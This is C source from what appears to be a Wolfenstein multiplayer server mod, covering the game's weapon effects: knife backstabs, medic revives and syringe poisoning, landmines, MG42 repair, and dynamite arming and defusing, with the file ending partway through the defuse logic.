if (!Q_stricmp(arg2,"allies")|| !Q_stricmp(arg2,"b") || !Q_stricmp(arg2,"blue"))
level.clients[i].sess.sessionTeam = TEAM_RED;
if (!Q_stricmp(arg2,"axis")|| !Q_stricmp(arg2,"r") || !Q_stricmp(arg2,"red"))
level.clients[i].sess.sessionTeam = TEAM_BLUE;
}
count = ClientNumberFromNameMatch(arg1, team);
for (i = 0; i < count; i++){
if (!Q_stricmp(arg2,"allies")|| !Q_stricmp(arg2,"b") || !Q_stricmp(arg2,"blue"))
g_entities[team[i]].client->sess.sessionTeam = TEAM_BLUE;
if (!Q_stricmp(arg2,"axis")|| !Q_stricmp(arg2,"r") || !Q_stricmp(arg2,"red"))
g_entities[team[i]].client->sess.sessionTeam = TEAM_RED;
}
//let everyone know teams were sorted
trap_SendServerCommand(-1, va("chat \"console: ^3Clan ^5%s ^3has been forced to ^5%s\n\"",arg1, arg2));
//do a map_restart
trap_SendConsoleCommand(EXEC_APPEND, va("map_restart 0 %i\n", GS_WARMUP));
}
<file_sep>/*
* name: g_weapon.c
*
* desc: perform the server side effects of a weapon firing
*
*/
#include "g_local.h"
#include "S4ND_local.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
static float s_quadFactor;
static vec3_t forward, right, up;
static vec3_t muzzleEffect;
static vec3_t muzzleTrace;
// forward dec
void Bullet_Fire (gentity_t *ent, float spread, int damage );
void Bullet_Fire_Extended(gentity_t *source, gentity_t *attacker, vec3_t start, vec3_t end, float spread, int damage);
int G_GetWeaponDamage( int weapon ); // JPW
#define NUM_NAILSHOTS 10
/*
======================================================================
KNIFE/GAUNTLET (NOTE: gauntlet is now the Zombie melee)
======================================================================
*/
#define KNIFE_DIST 48
/*
==============
Weapon_Knife
==============
*/
void Weapon_Knife( gentity_t *ent ) {
trace_t tr;
gentity_t *traceEnt, *tent;
int damage, mod;
vec3_t pforward, eforward;
vec3_t end;
if(ent->s.weapon == WP_KNIFE2)
mod = MOD_KNIFE2;
else
mod = MOD_KNIFE;
AngleVectors (ent->client->ps.viewangles, forward, right, up);
CalcMuzzlePoint ( ent, ent->s.weapon, forward, right, up, muzzleTrace );
VectorMA (muzzleTrace, KNIFE_DIST, forward, end);
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT )
return;
// no contact
if(tr.fraction == 1.0f)
return;
if(tr.entityNum >= MAX_CLIENTS) { // world brush or non-player entity (no blood)
tent = G_TempEntity( tr.endpos, EV_MISSILE_MISS );
} else { // other player
tent = G_TempEntity( tr.endpos, EV_MISSILE_HIT );
}
tent->s.otherEntityNum = tr.entityNum;
tent->s.eventParm = DirToByte( tr.plane.normal );
tent->s.weapon = ent->s.weapon;
if(tr.entityNum == ENTITYNUM_WORLD) // don't worry about doing any damage
return;
traceEnt = &g_entities[ tr.entityNum ];
if(!(traceEnt->takedamage))
return;
damage = G_GetWeaponDamage(ent->s.weapon); // JPW // default knife damage for frontal attacks
if(traceEnt->client) {
AngleVectors (ent->client->ps.viewangles, pforward, NULL, NULL);
AngleVectors (traceEnt->client->ps.viewangles, eforward, NULL, NULL);
// (SA) TODO: neutralize pitch (so only yaw is considered)
if(DotProduct( eforward, pforward ) > 0.9f) { // from behind
// if relaxed, the strike is almost assured a kill
// if not relaxed, but still from behind, it does 10x damage (50)
// (SA) commented out right now as the ai's state always checks here as 'combat'
// if(ent->s.aiState == AISTATE_RELAXED) {
if(g_SniperMode.integer)
damage = 999; // enough to drop a 'normal' (100 health) human with one jab
else
damage = 140;
mod = MOD_KNIFE_STEALTH;
// } else {
// damage *= 10;
// }
//----(SA) end
}
}
G_Damage( traceEnt, ent, ent, vec3_origin, tr.endpos, (damage + rand()%5) * s_quadFactor, 0, mod);
}
// JPW NERVE
void MagicSink( gentity_t *self ) {
self->clipmask = 0;
self->r.contents = 0;
if ( self->timestamp < level.time ) {
self->think = G_FreeEntity;
self->nextthink = level.time + FRAMETIME;
return;
}
self->s.pos.trBase[2] -= 0.5f;
self->nextthink = level.time + 50;
}
/*
======================
Weapon_Class_Special
class-specific in multiplayer
======================
*/
// JPW NERVE
void Weapon_Medic(gentity_t *ent) {
gitem_t *item;
gentity_t *ent2;
vec3_t velocity, org, offset;
vec3_t angles,mins,maxs;
trace_t tr;
// TTimo unused
// int mod = MOD_KNIFE;
if (level.time - ent->client->ps.classWeaponTime >= g_medicChargeTime.integer*0.25f) {
if (level.time - ent->client->ps.classWeaponTime > g_medicChargeTime.integer)
ent->client->ps.classWeaponTime = level.time - g_medicChargeTime.integer;
ent->client->ps.classWeaponTime += g_medicChargeTime.integer*0.25;
// ent->client->ps.classWeaponTime = level.time;
// if (ent->client->ps.classWeaponTime > level.time)
// ent->client->ps.classWeaponTime = level.time;
item = BG_FindItem("Med Health");
VectorCopy( ent->client->ps.viewangles, angles );
// clamp pitch
if ( angles[PITCH] < -30 )
angles[PITCH] = -30;
else if ( angles[PITCH] > 30 )
angles[PITCH] = 30;
AngleVectors( angles, velocity, NULL, NULL );
VectorScale( velocity, 64, offset);
offset[2] += ent->client->ps.viewheight/2;
VectorScale( velocity, 75, velocity );
velocity[2] += 50 + crandom() * 25;
VectorAdd(ent->client->ps.origin,offset,org);
VectorSet( mins, -ITEM_RADIUS, -ITEM_RADIUS, 0 );
VectorSet( maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS );
trap_Trace (&tr, ent->client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy( tr.endpos, org );
ent2 = LaunchItem( item, org, velocity, ent->s.number );
ent2->think = MagicSink;
ent2->timestamp = level.time + 31200;
ent2->parent = ent; // JPW NERVE so we can score properly later
#ifdef OMNIBOT
Bot_Event_FireWeapon(ent-g_entities, Bot_WeaponGameToBot(ent->s.weapon), ent2);
#endif
}
}
char testid1[]="jfne"; // hash tables: don't touch
char testid2[]="otyokg";
char testid3[]="jfgui";
// jpw
// JPW NERVE
/*
==================
Weapon_MagicAmmo
==================
*/
void Weapon_MagicAmmo(gentity_t *ent) {
gitem_t *item;
gentity_t *ent2;
vec3_t velocity, org, offset;
vec3_t angles,mins,maxs;
trace_t tr;
// TTimo unused
// int mod = MOD_KNIFE;
if (level.time - ent->client->ps.classWeaponTime >= g_LTChargeTime.integer*0.25f) {
if (level.time - ent->client->ps.classWeaponTime > g_LTChargeTime.integer)
ent->client->ps.classWeaponTime = level.time - g_LTChargeTime.integer;
ent->client->ps.classWeaponTime += g_LTChargeTime.integer*0.25;
// ent->client->ps.classWeaponTime = level.time;
// if (ent->client->ps.classWeaponTime > level.time)
// ent->client->ps.classWeaponTime = level.time;
item = BG_FindItem("Ammo Pack");
VectorCopy( ent->client->ps.viewangles, angles );
// clamp pitch
if ( angles[PITCH] < -30 )
angles[PITCH] = -30;
else if ( angles[PITCH] > 30 )
angles[PITCH] = 30;
AngleVectors( angles, velocity, NULL, NULL );
VectorScale( velocity, 64, offset);
offset[2] += ent->client->ps.viewheight/2;
VectorScale( velocity, 75, velocity );
velocity[2] += 50 + crandom() * 25;
VectorAdd(ent->client->ps.origin,offset,org);
VectorSet( mins, -ITEM_RADIUS, -ITEM_RADIUS, 0 );
VectorSet( maxs, ITEM_RADIUS, ITEM_RADIUS, 2*ITEM_RADIUS );
trap_Trace (&tr, ent->client->ps.origin, mins, maxs, org, ent->s.number, MASK_SOLID);
VectorCopy( tr.endpos, org );
ent2 = LaunchItem( item, org, velocity, ent->s.number );
ent2->think = MagicSink;
ent2->timestamp = level.time + 31200;
ent2->parent = ent;
#ifdef OMNIBOT
Bot_Event_FireWeapon(ent-g_entities, Bot_WeaponGameToBot(ent->s.weapon), ent2);
#endif
}
}
// jpw
// JPW NERVE Weapon_Syringe:
/*
======================
Weapon_Syringe
shoot the syringe, do the old lazarus bit
======================
*/
void Weapon_Syringe(gentity_t *ent) {
vec3_t end,org;
trace_t tr;
int healamt, headshot, oldweapon,oldweaponstate,oldclasstime=0;
qboolean usedSyringe = qfalse; // DHM - Nerve
int ammo[MAX_WEAPONS]; // JPW NERVE total amount of ammo
int ammoclip[MAX_WEAPONS]; // JPW NERVE ammo in clip
int weapons[MAX_WEAPONS/(sizeof(int)*8)]; // JPW NERVE 64 bits for weapons held
gentity_t *traceEnt, *te;
AngleVectors (ent->client->ps.viewangles, forward, right, up);
CalcMuzzlePointForActivate( ent, forward, right, up, muzzleTrace );
VectorMA (muzzleTrace, 48, forward, end); // CH_ACTIVATE_DIST
//VectorMA (muzzleTrace, -16, forward, muzzleTrace); // DHM - Back up the start point in case medic is
// right on top of intended revivee.
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
if (tr.startsolid) {
VectorMA (muzzleTrace, 8, forward, end); // CH_ACTIVATE_DIST
trap_Trace(&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
}
if (tr.fraction < 1.0) {
traceEnt = &g_entities[ tr.entityNum ];
if (traceEnt->client != NULL) {
if (g_poison.integer && g_deathmatch.integer > 1){
if (traceEnt->client->ps.stats[STAT_HEALTH] > 0){
traceEnt->poisonEnt = ent->s.number;
traceEnt->poisoned = qtrue;
usedSyringe = qtrue;
}else{
usedSyringe = qfalse;
return;
}
}
if (((traceEnt->client->ps.pm_type == PM_DEAD) && (traceEnt->client->sess.sessionTeam == ent->client->sess.sessionTeam))
||((traceEnt->client->sess.sessionTeam == ent->client->sess.sessionTeam) && (g_undeadRevives.integer) &&
(traceEnt->client->ps.stats[STAT_HEALTH] < traceEnt->client->ps.stats[STAT_MAX_HEALTH] * 0.5))){
// heal the dude
// copy some stuff out that we'll wanna restore
VectorCopy(traceEnt->client->ps.origin, org);
headshot = traceEnt->client->ps.eFlags & EF_HEADSHOT;
healamt = traceEnt->client->ps.stats[STAT_MAX_HEALTH] * 0.5;
oldweapon = traceEnt->client->ps.weapon;
oldweaponstate = traceEnt->client->ps.weaponstate;
// keep class special weapon time to keep them from exploiting revives
oldclasstime = traceEnt->client->ps.classWeaponTime;
memcpy(ammo,traceEnt->client->ps.ammo,sizeof(int)*MAX_WEAPONS);
memcpy(ammoclip,traceEnt->client->ps.ammoclip,sizeof(int)*MAX_WEAPONS);
memcpy(weapons,traceEnt->client->ps.weapons,sizeof(int)*(MAX_WEAPONS/(sizeof(int)*8)));
ClientSpawn(traceEnt, qtrue);
#ifdef OMNIBOT
Bot_Event_Revived(traceEnt-g_entities, ent);
#endif
//ANTILAG - reset the origin trails
G_ResetTrail( traceEnt );
traceEnt->client->saved.leveltime = 0;
memcpy(traceEnt->client->ps.ammo,ammo,sizeof(int)*MAX_WEAPONS);
memcpy(traceEnt->client->ps.ammoclip,ammoclip,sizeof(int)*MAX_WEAPONS);
memcpy(traceEnt->client->ps.weapons,weapons,sizeof(int)*(MAX_WEAPONS/(sizeof(int)*8)));
if (headshot)
traceEnt->client->ps.eFlags |= EF_HEADSHOT;
traceEnt->client->ps.weapon = oldweapon;
traceEnt->client->ps.weaponstate = oldweaponstate;
traceEnt->client->ps.classWeaponTime = oldclasstime;
traceEnt->health = healamt;
VectorCopy(org,traceEnt->s.origin);
VectorCopy(org,traceEnt->r.currentOrigin);
VectorCopy(org,traceEnt->client->ps.origin);
trap_Trace(&tr, traceEnt->client->ps.origin, traceEnt->client->ps.mins, traceEnt->client->ps.maxs, traceEnt->client->ps.origin, traceEnt->s.number, MASK_PLAYERSOLID);
if ( tr.allsolid ) {
traceEnt->client->ps.pm_flags |= PMF_DUCKED;
}
traceEnt->s.effect3Time = level.time;
traceEnt->r.contents = CONTENTS_CORPSE;
trap_LinkEntity( ent );
// DHM - Nerve :: Let the person being revived know about it
trap_SendServerCommand( traceEnt-g_entities, va("cp \"You have been revived by %s^7!\n\"", ent->client->pers.netname) );
//S4NDM4NN-Let the med know about it
traceEnt->client->pers.gibbed = qfalse;
trap_SendServerCommand( ent-g_entities, va("cp \"You revived %s^7!\n\"", traceEnt->client->pers.netname) );
if ( ent->client->pers.lastTeamkilledPlayer == traceEnt->client->ps.clientNum){
ent->client->pers.lastTeamkilledPlayer = -1;
ent->client->pers.teamKills--;
trap_SendServerCommand( ent-g_entities, va("chat \"^3Adminbot^7: You have been forgiven for tk-reviving %s^7.\"", traceEnt->client->pers.netname) );
}
//End
traceEnt->props_frame_state = ent->s.number;
//S4NDM4NN for g_reviveReports
//if its 1 send to everyone
if (g_reviveReports.integer == 1)
trap_SendServerCommand( -1, va("print \"%s ^7was revived by %s\n\"", traceEnt->client->pers.netname, ent->client->pers.netname) );
//if its more then one send to the team
if (g_reviveReports.integer > 1){
//red team
if (traceEnt->client->sess.sessionTeam == TEAM_RED)
G_TeamCommand( TEAM_RED, va("print \"%s ^7was revived by %s\n\"", traceEnt->client->pers.netname, ent->client->pers.netname) );
//Blue team
if (traceEnt->client->sess.sessionTeam == TEAM_BLUE)
G_TeamCommand( TEAM_BLUE, va("print \"%s ^7was revived by %s\n\"", traceEnt->client->pers.netname, ent->client->pers.netname) );
}
//End
//If autotap, make sure they dont get deployed if they are alive
if(g_autoTap.integer){
traceEnt->client->pers.isTapped = qfalse;
ent->client->pers.spawnCyclesSkipped = 0;
}
// DHM - Nerve :: Mark that the medicine was indeed dispensed
usedSyringe = qtrue;
// sound
te = G_TempEntity( traceEnt->r.currentOrigin, EV_GENERAL_SOUND );
te->s.eventParm = G_SoundIndex( "sound/multiplayer/vo_revive.wav" );
// DHM - Nerve :: Play revive animation
BG_AnimScriptEvent( &traceEnt->client->ps, ANIM_ET_REVIVE, qfalse, qtrue );
traceEnt->client->ps.pm_flags |= PMF_TIME_LOCKPLAYER;
traceEnt->client->ps.pm_time = 2100;
// tjw: used by g_shortcuts
traceEnt->client->pers.lastrevive_client = ent->client->ps.clientNum;
AddScore(ent, WOLF_MEDIC_BONUS); // JPW NERVE props to the medic for the swift and dexterous bit o healitude
ent->client->pers.revives++;
if(g_gamestate.integer == GS_PLAYING){
if(ent->client->pers.revives > level.HArevivenum){
Q_strncpyz ( level.HAhighrevivers, "", sizeof( level.HAhighrevivers ) );
strcat(level.HAhighrevivers, ent->client->pers.netname);
level.HArevivenum = ent->client->pers.revives;
}else if(ent->client->pers.revives == level.HArevivenum){
strcat(level.HAhighrevivers, "^7, ");//Add a comma after the other person
strcat(level.HAhighrevivers, ent->client->pers.netname);//and add their name
}
}
ent->client->pers.life_revives++;
}
//S4NDM4NN poison the guy
//else if ((traceEnt->client->ps.stats[STAT_HEALTH] > 0) && (traceEnt->client->sess.sessionTeam != ent->client->sess.sessionTeam)){
//Nobo - can poison anyone if warmup
else if ((traceEnt->client->ps.stats[STAT_HEALTH] > 0) && (g_gamestate.integer == GS_WARMUP_COUNTDOWN || traceEnt->client->sess.sessionTeam != ent->client->sess.sessionTeam)){
if (traceEnt->client->ps.powerups[PW_INVULNERABLE] >= level.time){
usedSyringe = qfalse;
return;
}
if (g_headshotsOnly.integer !=0){
usedSyringe = qfalse;
return;
}
if (g_poison.integer){
traceEnt->poisonEnt = ent->s.number;
traceEnt->poisoned = qtrue;
usedSyringe = qtrue;
}
}
//END
}
}
// DHM - Nerve :: If the medicine wasn't used, give back the ammo
if (!usedSyringe)
ent->client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] += 1;
}
// jpw
void G_ExplodeMissile( gentity_t *ent );
void SP_dlight ( gentity_t * ent ) ;
void DynaSink ( gentity_t * self ) ;
//////////////
//mine_think//
//////////////
static void mine_think( gentity_t *self ) {
vec3_t start, end;
// vec3_t temp;
trace_t tr;
gentity_t *target;
target = NULL;
// martin..attempt :o
// martin - leet speedup / slowdown mine light
// 5500 works real good
if((level.time - self->s.effect1Time >= 5500)&& (level.time - self->s.effect1Time <= 6500)){
self->s.effect1Time = level.time - 99100; // was 28000
}
if(level.time - self->s.effect1Time >= 100000){ // was 30000
self->s.effect1Time = level.time - 99100; // was 28000
}
//check if there are any entity's within a radius of 200 units. agent - was 125
while ((target = findradius(target, self->r.currentOrigin, 200)) != NULL){
// target must not be mine
if (target == self)
continue;
// target must be a client
if (!target->client)
continue;
// target must not be the player who tossed the mine
if (target == self->parent)
continue;
if (OnSameTeam(self->parent, target))
continue;
// target must be able to take damage
if (!target->takedamage)
continue;
// Martin - extra sanity so it doesnt blow if they were gibbed by explosion
if (target->client->ps.pm_flags & PMF_LIMBO){
continue;
}
if(target->client->ps.pm_type == PM_DEAD ) {
continue;
}
if(target->client->ps.stats[ STAT_HEALTH ] <= 0 ) {
continue;
}
// begin martin ***ATTEMPT AT CHECKING
VectorCopy( self->s.pos.trBase, start );
start[2] += 5; // Martin...Uh no clue why im doing this but :)
VectorCopy( target->s.pos.trBase, end );
end[2] += target->client->ps.viewheight; //WOOT
trap_Trace (&tr, start, NULL, NULL, end, self->s.number, CONTENTS_SOLID);
if( tr.fraction < 1.0 ) {
continue;
}
// end martin
G_ExplodeMissile(self);
}
self->nextthink = level.time + 100;
self->think = mine_think;
if (self->parent->client->ps.stats[STAT_HEALTH] < 1 ){
self->think = DynaSink;
}
}
// DHM - Nerve
void auto_mg42_think( gentity_t * self );
#ifdef OMNIBOT
const char *_GetEntityName(gentity_t *_ent);
#endif
void Weapon_Engineer( gentity_t *ent ) {
trace_t tr;
gentity_t *traceEnt, *hit, *te;
// TTimo unused
// int mod = MOD_KNIFE;
vec3_t mins, maxs; // JPW NERVE
static vec3_t range = { 40, 40, 52 }; // JPW NERVE
int i,num,touch[MAX_GENTITIES],scored=0; // JPW NERVE
int dynamiteDropTeam;
vec3_t end;
vec3_t origin;
// DHM - Nerve :: Can't heal an MG42 if you're using one!
if ( ent->client->ps.persistant[PERS_HWEAPON_USE] )
return;
AngleVectors (ent->client->ps.viewangles, forward, right, up);
VectorCopy( ent->client->ps.origin, muzzleTrace );
muzzleTrace[2] += ent->client->ps.viewheight;
VectorMA (muzzleTrace, 64, forward, end); // CH_BREAKABLE_DIST
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT|CONTENTS_TRIGGER);
if ( tr.entityNum < MAX_CLIENTS ) {
trap_UnlinkEntity( ent );
traceEnt = &g_entities[ tr.entityNum ];
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, traceEnt->s.number, MASK_SHOT|CONTENTS_TRIGGER);
trap_LinkEntity( ent );
}
traceEnt = &g_entities[ tr.entityNum ];
if ( !Q_stricmp(traceEnt->classname, "trigger_multiple")) {
trap_UnlinkEntity( ent );
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, traceEnt->s.number, MASK_SHOT|CONTENTS_TRIGGER);
trap_LinkEntity( ent );
}
if ( tr.surfaceFlags & SURF_NOIMPACT )
return;
// no contact
if(tr.fraction == 1.0f)
return;
if ( tr.entityNum == ENTITYNUM_NONE || tr.entityNum == ENTITYNUM_WORLD )
return;
traceEnt = &g_entities[ tr.entityNum ];
if ( !traceEnt->takedamage && !Q_stricmp(traceEnt->classname, "misc_mg42"))
{
// "Ammo" for this weapon is time based
if ( ent->client->ps.classWeaponTime + g_engineerChargeTime.integer < level.time )
{
ent->client->ps.classWeaponTime = level.time - g_engineerChargeTime.integer;
}
ent->client->ps.classWeaponTime += 150;
if ( ent->client->ps.classWeaponTime > level.time )
{
ent->client->ps.classWeaponTime = level.time;
return; // Out of "ammo"
}
if ( traceEnt->health >= 255 )
{
traceEnt->s.frame = 0;
if ( traceEnt->mg42BaseEnt > 0 )
{
g_entities[ traceEnt->mg42BaseEnt ].health = MG42_MULTIPLAYER_HEALTH;
g_entities[ traceEnt->mg42BaseEnt ].takedamage = qtrue;
traceEnt->health = 0;
}
else
traceEnt->health = MG42_MULTIPLAYER_HEALTH;
AddScore(ent, WOLF_REPAIR_BONUS); // JPW NERVE props to the E for the fixin'
traceEnt->takedamage = qtrue;
traceEnt->s.eFlags &= ~EF_SMOKING;
trap_SendServerCommand(ent-g_entities, "cp \"You have repaired the MG42!\n\"");
// JPW NERVE sound effect to go with fixing MG42
G_AddEvent( ent, EV_MG42_FIXED, 0 );
// jpw
}
else
{
traceEnt->health += 3;
trap_SendServerCommand(ent-g_entities, "cp \"repairing MG42...\n\"");
}
}
else if ( !traceEnt->takedamage && !Q_stricmp(traceEnt->classname, "automg42"))
{
if(traceEnt->parent->client->sess.sessionTeam != ent->client->sess.sessionTeam)
return;
if ( traceEnt->health >= 255 )
{
traceEnt->s.frame = 0;
if ( traceEnt->mg42BaseEnt > 0 )
{
g_entities[ traceEnt->mg42BaseEnt ].health = MG42_MULTIPLAYER_HEALTH;
g_entities[ traceEnt->mg42BaseEnt ].takedamage = qtrue;
traceEnt->health = 0;
}
else
traceEnt->health = 300/*MG42_MULTIPLAYER_HEALTH*/;
traceEnt->takedamage = qtrue;
if(traceEnt->parent->client->sess.sessionTeam== TEAM_BLUE){
traceEnt->dl_color[0] = 0;
traceEnt->dl_color[1] = 0;
traceEnt->dl_color[2] = 1;
}else{
traceEnt->dl_color[0] = 1;
traceEnt->dl_color[1] = 0;
traceEnt->dl_color[2] = 0;
}
traceEnt->dl_stylestring = "mmmaaa";
SP_dlight(traceEnt);
traceEnt->nextthink = level.time+50;
traceEnt->think = auto_mg42_think;
trap_SendServerCommand(ent-g_entities, "cp \"You have set up an auto MG42!\n\"");
G_AddEvent( ent, EV_MG42_FIXED, 0 );
// jpw
}
else
{
traceEnt->health += 3;
trap_SendServerCommand(ent-g_entities, "cp \"Setting up auto MG42...\n\"");
}
}
else
{
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT )
return;
//no contact
if(tr.fraction == 1.0f)
return;
if ( tr.entityNum == ENTITYNUM_NONE || tr.entityNum == ENTITYNUM_WORLD )
return;
traceEnt = &g_entities[ tr.entityNum ];
if ( traceEnt->methodOfDeath == MOD_LANDMINE ) {
// Not armed
if ( traceEnt->s.teamNum >= 4 ) {
// Opposing team cannot accidentally arm it
if ( (traceEnt->s.teamNum - 4) != ent->client->sess.sessionTeam )
return;
// Give health until it is full, don't continue
if(traceEnt->health < 100){
if(traceEnt->mg42BaseEnt > 0 )
return;
traceEnt->health += 2;
trap_SendServerCommand(ent-g_entities, "cp \"Arming mine...\" 1");
}
if(traceEnt->health <= 99)
return;
// ARM IT!
traceEnt->health = g_mineHealth.integer;
traceEnt->mg42BaseEnt++;
trap_SendServerCommand( ent-g_entities, "cp \"Mine is now armed!\" 1");
traceEnt->s.teamNum = ent->client->sess.sessionTeam;
traceEnt->s.effect1Time = level.time; //- 15000; // martin added -15000
traceEnt->takedamage = qtrue;
// traceEnt->die = G_MissileDie;
traceEnt->nextthink = level.time + 1;
traceEnt->think = mine_think;
}
}
if ( traceEnt->methodOfDeath == MOD_DYNAMITE ) {
// Not armed
if ( traceEnt->s.teamNum >= 4 ) {
// Opposing team cannot accidentally arm it
if ( (traceEnt->s.teamNum - 4) != ent->client->sess.sessionTeam )
return;
trap_SendServerCommand(ent-g_entities, "cp \"Arming dynamite...\" 1");
// Give health until it is full, don't continue
traceEnt->health += 7;
if ( traceEnt->health >= 250 )
traceEnt->health = 255;
else
return;
// Don't allow disarming for sec (so guy that WAS arming doesn't start disarming it!
traceEnt->timestamp = level.time + 1000;
traceEnt->health = 5;
// set teamnum so we can check it for drop/defuse exploit
traceEnt->s.teamNum = ent->client->sess.sessionTeam;
// For dynamic light pulsing
traceEnt->s.effect1Time = level.time;
// ARM IT!
trap_SendServerCommand( ent-g_entities, "cp \"Dynamite is now armed with a 30 second timer!\" 1");
traceEnt->nextthink = level.time + 30000;
traceEnt->think = G_ExplodeMissile;
// check if player is in trigger objective field
// NERVE - SMF - made this the actual bounding box of dynamite instead of range, also must snap origin to line up properly
VectorCopy( traceEnt->r.currentOrigin, origin );
SnapVector( origin );
VectorAdd( origin, traceEnt->r.mins, mins );
VectorAdd( origin, traceEnt->r.maxs, maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );
VectorAdd( origin, traceEnt->r.mins, mins );
VectorAdd( origin, traceEnt->r.maxs, maxs );
for ( i=0 ; i<num ; i++ ) {
hit = &g_entities[touch[i]];
if ( !( hit->r.contents & CONTENTS_TRIGGER ) ) {
continue;
}
if(g_deathmatch.integer)
continue;
if (!strcmp(hit->classname,"trigger_objective_info")) {
if ( !(hit->spawnflags & (AXIS_OBJECTIVE|ALLIED_OBJECTIVE)) )
continue;
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_SOUND );
// JPW NERVE
// TTimo gcc: suggest explicit braces to avoid ambiguous `else'
if (ent->client != NULL)
{
#ifdef OMNIBOT
const char *Goalname = NULL;
#endif
if ((ent->client->sess.sessionTeam == TEAM_BLUE) && (hit->spawnflags & AXIS_OBJECTIVE)) {
te->s.eventParm = G_SoundIndex( "sound/multiplayer/allies/a-dynamite_planted.wav" );
}
else if ((ent->client->sess.sessionTeam == TEAM_RED) && (hit->spawnflags & ALLIED_OBJECTIVE)) { // redundant but added for code clarity
te->s.eventParm = G_SoundIndex( "sound/multiplayer/axis/g-dynamite_planted.wav" );
}
#ifdef OMNIBOT
G_Script_ScriptEvent( hit, "dynamited", "" );
hit->numPlanted += 1;
if ( hit->parent && hit->parent->track )
Goalname = _GetEntityName(hit->parent);
else
Goalname = _GetEntityName(hit);
Bot_AddDynamiteGoal(traceEnt, traceEnt->s.teamNum, va("%s_%i", Goalname, hit->numPlanted));
#endif // OMNIBOT
}
if ( hit->spawnflags & AXIS_OBJECTIVE ) {
te->s.teamNum = TEAM_RED;
if (ent->client->sess.sessionTeam == TEAM_BLUE) { // transfer score info if this is a bomb scoring objective
traceEnt->accuracy = hit->accuracy;
}
}
else if (hit->spawnflags & ALLIED_OBJECTIVE) {
te->s.teamNum = TEAM_BLUE;
if (ent->client->sess.sessionTeam == TEAM_RED) { // ditto other team
traceEnt->accuracy = hit->accuracy;
}
}
te->r.svFlags |= SVF_BROADCAST;
if ( ((hit->spawnflags & AXIS_OBJECTIVE) && (ent->client->sess.sessionTeam == TEAM_BLUE)) ||
((hit->spawnflags & ALLIED_OBJECTIVE) && (ent->client->sess.sessionTeam == TEAM_RED)) ) {
if(g_gamestate.integer == GS_PLAYING){
if (hit->track){
trap_SendServerCommand(-1, va("cp \"%s\" 2", va("Dynamite planted near %s!", hit->track)));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Dynamite planted near %s!\n\" 2",GetLevelTime(),hit->track));
}else{
trap_SendServerCommand(-1, va("cp \"%s\" 2", va("Dynamite planted near objective #%d!", hit->count)));
trap_SendServerCommand(-1, va("print \"%s\" 1", va("^3%s: ^5Dynamite planted near objective #%d!", GetLevelTime(),hit->count)));
}
}
}
i=num;
if ( (!(hit->spawnflags & OBJECTIVE_DESTROYED)) &&
te->s.teamNum && (te->s.teamNum != ent->client->sess.sessionTeam) ) {
AddScore(traceEnt->parent, WOLF_DYNAMITE_PLANT); // give drop score to guy who dropped it
traceEnt->parent = ent; // give explode score to guy who armed it
// jpw pulled hit->spawnflags |= OBJECTIVE_DESTROYED; // this is pretty kludgy but we can't test it in explode fn
}
// jpw
}
}
}
else {
if (traceEnt->timestamp > level.time)
return;
if (traceEnt->health >= 248) // have to do this so we don't score multiple times
return;
// MARTIN - Same team defuse
if(g_noSameTeamDefuse.integer){
VectorSubtract( ent->client->ps.origin, range, mins );
VectorAdd( ent->client->ps.origin, range, maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );
VectorAdd( ent->client->ps.origin, ent->r.mins, mins );
VectorAdd( ent->client->ps.origin, ent->r.maxs, maxs );
for ( i=0 ; i<num ; i++ ) {
hit = &g_entities[touch[i]];
if ( !( hit->r.contents & CONTENTS_TRIGGER ) )
continue;
if (!strcmp(hit->classname,"trigger_objective_info")) {
if ( !(hit->spawnflags & (AXIS_OBJECTIVE | ALLIED_OBJECTIVE)) )
continue;
if (traceEnt->s.teamNum == ent->client->sess.sessionTeam){
return;
}
}
}
}
// end martin
dynamiteDropTeam = traceEnt->s.teamNum; // set this here since we wack traceent later but want teamnum for scoring
trap_SendServerCommand(ent-g_entities, "cp \"Defusing dynamite...\" 1");
traceEnt->health += 3;
if ( traceEnt->health >= 248 ) {
traceEnt->health = 255;
// Need some kind of event/announcement here
Add_Ammo( ent, WP_DYNAMITE, 1, qtrue );
traceEnt->think = G_FreeEntity;
traceEnt->nextthink = level.time + FRAMETIME;
// JPW NERVE -- more swipeage -- check if player is in trigger objective field
VectorSubtract( ent->client->ps.origin, range, mins );
VectorAdd( ent->client->ps.origin, range, maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );
VectorAdd( ent->client->ps.origin, ent->r.mins, mins );
VectorAdd( ent->client->ps.origin, ent->r.maxs, maxs );
// don't report if not disarming *enemy* dynamite in field
if (traceEnt->s.teamNum == ent->client->sess.sessionTeam){
return;
}
for ( i=0 ; i<num ; i++ ) {
hit = &g_entities[touch[i]];
if ( !( hit->r.contents & CONTENTS_TRIGGER ) ) {
continue;
}
if (!strcmp(hit->classname,"trigger_objective_info")) {
/* if (traceEnt->s.teamNum == ent->client->sess.sessionTeam){
trap_SendServerCommand(-1, va("chat \"MARKER3\n\" 2"));
return;
}
*/
if ( !(hit->spawnflags & (AXIS_OBJECTIVE | ALLIED_OBJECTIVE)) )
continue;
traceEnt = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_SOUND );
traceEnt->r.svFlags |= SVF_BROADCAST;
if (ent->client->sess.sessionTeam == TEAM_RED) {
if ((hit->spawnflags & AXIS_OBJECTIVE) && (!scored)) {
AddScore(ent,WOLF_DYNAMITE_DIFFUSE); // FIXME add team info to *dynamite* so we don't get points for diffusing own team dynamite
scored++;
